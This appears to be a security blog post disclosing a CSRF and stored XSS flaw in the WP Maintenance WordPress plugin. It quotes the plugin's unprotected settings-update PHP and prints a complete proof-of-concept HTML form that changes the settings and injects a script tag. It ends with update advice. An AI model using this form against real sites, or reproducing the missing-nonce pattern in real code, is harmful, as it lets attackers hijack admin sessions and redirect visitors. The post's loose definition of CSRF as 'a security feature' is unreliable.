WP Maintenance Plugin Vulnerable To CSRF & XSS

If you have installed the WP Maintenance plugin on your WordPress site or blog, this article is for you. Recently, the Wordfence team discovered a CSRF vulnerability in the WP Maintenance plugin used to put the website on maintenance mode during maintenance.

The plugin allows webmasters to customize the maintenance page and show it to all website visitors during maintenance.

Wordfence team discovered CSRF vulnerability in the plugin that can also allow an attacker to inject malicious code into the website and redirect all site visitors to another malicious website.

What is CSRF?

We have discussed CSRF in detail in this article. But in brief, CSRF is a security feature that verifies that all users’ requests come from the same domain and not the attackers’ site. WordPress creates a token for each request, and that token is sent with a request that tells the server the request is legit.

In WordPress, users are required to log in to WordPress to perform any administrative task, so CSRF vulnerabilities can only be exploited when administrators perform actions unknowingly by clicking on a link in one of the comments.

WP Maintenance plugin was not using a CSRF token or nonce verification when updating plugins settings. The Wordfence team has also provided the code that was lacking the nonce token.

/* Update des paramètres */
if( isset($_POST['action']) && $_POST['action'] == 'update_general' ) {
 
    if( isset($_POST["wp_maintenance_social_options"]['reset']) && $_POST["wp_maintenance_social_options"]['reset'] ==1 ) {
        unset($_POST["wp_maintenance_social"]);
        $_POST["wp_maintenance_social"] = '';
    }
    update_option('wp_maintenance_social', $_POST["wp_maintenance_social"]);
    update_option('wp_maintenance_social_options', $_POST["wp_maintenance_social_options"]);
    update_option('wp_maintenance_active', $_POST["wp_maintenance_active"]);
     
    $options_saved = wpm_update_settings($_POST["wp_maintenance_settings"]);
 
    $messageUpdate = 1;
}

The above code updates the plugin’s settings parameters without verifying the nonce. This can lead an attacker to send a request with parameters, values and because there is no nonce verification, the plugin will happily update the changes.

The plugin also allows webmasters to show the newsletter on the maintenance page but not sanitize the newsletter title. This means the web browser will execute any javascript code injected into the newsletter’s title field.

So the attacker can also set malicious code as the value of newsletter title that can do actions such as redirect visitors to another website.

<html>
  <body>
   <form action="http://URL/wp-admin/admin.php?page=wp-maintenance" method="POST">
      <input type="hidden" name="action" value="update_general" />
      <input type="hidden" name="wp_maintenance_active" value="1" />
      <input type="hidden" name="wp_maintenance_settings[titre_maintenance]" value="EVIL ATTACKER!" />
      <input type="hidden" name="wp_maintenance_settings[text_maintenance]" value="Come back quickly!" />
      <input type="hidden" name="wp_maintenance_settings[text_bt_maintenance]" value="" />
      <input type="hidden" name="wp_maintenance_settings[add_wplogin]" value="0" />
      <input type="hidden" name="wp_maintenance_settings[add_wplogin_title]" value="" />
      <input type="hidden" name="wp_maintenance_settings[enable_seo]" value="0" />
      <input type="hidden" name="wp_maintenance_settings[seo_title]" value="" />
      <input type="hidden" name="wp_maintenance_settings[seo_description]" value="" />
      <input type="hidden" name="wp_maintenance_settings[favicon]" value="" />
      <input type="hidden" name="wp_maintenance_settings[code_analytics]" value="" />
      <input type="hidden" name="wp_maintenance_settings[domain_analytics]" value="URL" />
      <input type="hidden" name="wp_maintenance_social_options[enable]" value="0" />
      <input type="hidden" name="wp_maintenance_social_options[texte]" value="" />
      <input type="hidden" name="wp_maintenance_social" value="" />
      <input type="hidden" name="wp_maintenance_social[twitter]" value="" />
      <input type="hidden" name="wp_maintenance_social[linkedin]" value="" />
      <input type="hidden" name="wp_maintenance_social[flickr]" value="" />
      <input type="hidden" name="wp_maintenance_social[youtube]" value="" />
      <input type="hidden" name="wp_maintenance_social[pinterest]" value="" />
      <input type="hidden" name="wp_maintenance_social[vimeo]" value="" />
      <input type="hidden" name="wp_maintenance_social" value="" />
      <input type="hidden" name="wp_maintenance_social[google_plus]" value="" />
      <input type="hidden" name="wp_maintenance_social[about_me]" value="" />
      <input type="hidden" name="wp_maintenance_social[soundcloud]" value="" />
      <input type="hidden" name="wp_maintenance_social[skype]" value="" />
      <input type="hidden" name="wp_maintenance_social[tumblr]" value="" />
      <input type="hidden" name="wp_maintenance_social[blogger]" value="" />
      <input type="hidden" name="wp_maintenance_social[paypal]" value="" />
      <input type="hidden" name="wp_maintenance_social_options[size]" value="32" />
      <input type="hidden" name="wp_maintenance_social_options[style]" value="style1" />
      <input type="hidden" name="wp_maintenance_social_options[position]" value="bottom" />
      <input type="hidden" name="wp_maintenance_social_options[align]" value="center" />
      <input type="hidden" name="wp_maintenance_social_options[theme]" value="" />
      <input type="hidden" name="wp_maintenance_social_options[reset]" value="0" />
      <input type="hidden" name="wp_maintenance_settings[newletter]" value="1" />
      <input type="hidden" name="wp_maintenance_settings[title_newletter]" value="<script>alert("YOU'VE BEEN HACKED!")</script>" />
      <input type="hidden" name="wp_maintenance_settings[type_newletter]" value="shortcode" />
      <input type="hidden" name="wp_maintenance_settings[code_newletter]" value="" />
      <input type="hidden" name="wp_maintenance_settings[iframe_newletter]" value="" />
      <input type="hidden" name="submit" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

How can attackers exploit CSRF vulnerability?

Attackers can exploit CSRF vulnerabilities by making any authenticated user click on a link and make them send a request on his behalf to his website. The code below is hosted anywhere on the internet when clicked by the authenticated user; the vulnerable plugin will update all the settings parameters that the attacker has set. The admin won’t even notice until he sees websites that are no more available online.

How to fix CSRF vulnerability in WP Maintenance?

This vulnerability is available in all versions below 5.0.5, so update the plugin to 5.0.6.

An Advice for web admins

Firewalls can not protect your website from CSRF vulnerabilities because the attacker makes you click on a link and perform any actions as an administrator. So never click on a link from your comment. The link may end up loading a script like above, and you will not know what actually happened.